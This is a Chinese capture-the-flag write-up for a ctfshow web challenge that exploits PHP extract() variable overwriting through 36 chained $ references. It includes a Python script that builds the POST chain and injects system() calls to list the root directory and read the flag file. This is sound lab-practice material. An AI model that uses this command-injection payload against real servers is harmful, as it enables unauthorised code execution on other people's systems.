lan0726

导航

ctfshow--web--我的眼里只有$

考点:$的多重取值、extract函数的变量覆盖

阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’

【解题hint】

注意都到在POST中传入。首先是给$赋值:=a,再给$a赋值,a=b······以此类推一共有36个$,需要赋值36次。

写脚本python

import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

通过post传参![](C:\Users\HP\Pictures\Screenshots\屏幕截图 2024-06-06 120611.png)

注意到新回显中“flagaaa”,更换命令执行

system('cat /f1agaaa');

拿到flag

posted on 2024-06-24 19:39  .dd  阅读(106)  评论(0)    收藏  举报